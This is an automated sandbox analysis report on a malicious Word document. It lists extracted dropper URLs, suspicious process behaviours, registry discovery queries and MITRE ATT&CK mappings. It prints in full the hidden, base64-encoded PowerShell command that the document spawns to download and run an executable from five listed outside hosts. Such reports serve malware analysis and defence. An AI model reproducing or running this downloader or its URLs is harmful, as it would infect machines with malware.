cbc1ce12017def9503760118b324f4e1dbb168dfaea51c294122635c957b2d8d

General

Target

cbc1ce12017def9503760118b324f4e1dbb168dfaea51c294122635c957b2d8d.doc
Sample

200127-s1eg1rhtw6
SHA256

cbc1ce12017def9503760118b324f4e1dbb168dfaea51c294122635c957b2d8d

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://delhisexclinic.com/zds/jUzItNFoNN/

exe.dropper

https://lelangg.online/uydlcvg/xoZAiAes/

exe.dropper

https://usispf.org/wp-admin/vjWaya/

exe.dropper

https://www.sexylady.space/wp-admin/JM/

exe.dropper

https://www.metropolnet.gr/cgi-bin/eP1hbutDbo/

Signatures

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

4948 WINWORD.EXE
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

WINWORD.EXE

pid process

4948 WINWORD.EXE

pid	process
4948	WINWORD.EXE

pid	process
4948	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3188	5072	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 3188 Powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

Powershell.exe

pid process

3188 Powershell.exe

description	pid	process
Token: SeDebugPrivilege	3188	Powershell.exe

pid	process
3188	Powershell.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cbc1ce12017def9503760118b324f4e1dbb168dfaea51c294122635c957b2d8d.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
PID:4948

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABBAGYAeQBvAGwAYgBtAG8AcgBsAGoAPQAnAEQAcAB6AGcAbABzAHMAbwBtAGsAaAB2AGgAJwA7ACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAIAA9ACAAJwA3ADkANwAnADsAJABYAG0AdwBuAGsAawB2AGQAZwBwAHYAPQAnAEsAegB2AGMAYgBsAHUAawB2AGQAbQBpACcAOwAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAKwAnAC4AZQB4AGUAJwA7ACQAVQByAHMAZABnAGYAeAB0AHkAbgB5AD0AJwBVAHYAegB2AHcAbwB1AGIAbABtAHMAZwAnADsAJABJAHYAeAByAHcAcABxAHcAZABhAGwAZAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAEwAaQBFAG4AVAA7ACQATABsAG8AYQBsAHoAcwBsAGQAcABxAG0AbAA9ACcAaAB0AHQAcABzADoALwAvAGQAZQBsAGgAaQBzAGUAeABjAGwAaQBuAGkAYwAuAGMAbwBtAC8AegBkAHMALwBqAFUAegBJAHQATgBGAG8ATgBOAC8AKgBoAHQAdABwAHMAOgAvAC8AbABlAGwAYQBuAGcAZwAuAG8AbgBsAGkAbgBlAC8AdQB5AGQAbABjAHYAZwAvAHgAbwBaAEEAaQBBAGUAcwAvACoAaAB0AHQAcABzADoALwAvAHUAcwBpAHMAcABmAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwB2AGoAVwBhAHkAYQAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBlAHgAeQBsAGEAZAB5AC4AcwBwAGEAYwBlAC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBNAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGUAdAByAG8AcABvAGwAbgBlAHQALgBnAHIALwBjAGcAaQAtAGIAaQBuAC8AZQBQADEAaABiAHUAdABEAGIAbwAvACcALgAiAHMAYABwAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBjAGkAagBmAGoAdwBhAG0AbwBsAD0AJwBWAHIAYQBoAGUAbwB0AHoAcAB2AGgAcAB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACAAaQBuACAAJABMAGwAbwBhAGwAegBzAGwAZABwAHEAbQBsACkAewB0AHIAeQB7ACQASQB2AHgAcgB3AHAAcQB3AGQAYQBsAGQALgAiAGQATwB3AGAATgBsAE8AQQBEAEYAYABJAEwARQAiACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACwAIAAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQApADsAJABKAGUAegB4AHkAcwByAHEAcABkAD0AJwBXAHUAaQBsAGsAaABwAHkAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQAuACIAbABgAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIANwA4ADYANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYQBgAFIAdAAiACgAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQA7ACQATwBzAHAAbgByAGcAYgB0AGsAPQAnAFEAaQBvAG8AcQBnAGUAYQBrAGUAJwA7AGIAcgBlAGEAawA7ACQAWABlAGcAawB4AGgAZQBoAGMAeQA9ACcARgBpAGUAegBqAG8AawBpAHoAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHcAcQBpAHUAagBhAGEAPQAnAFMAaQBrAHcAZQBsAGYAdgBoACcA
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3188

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads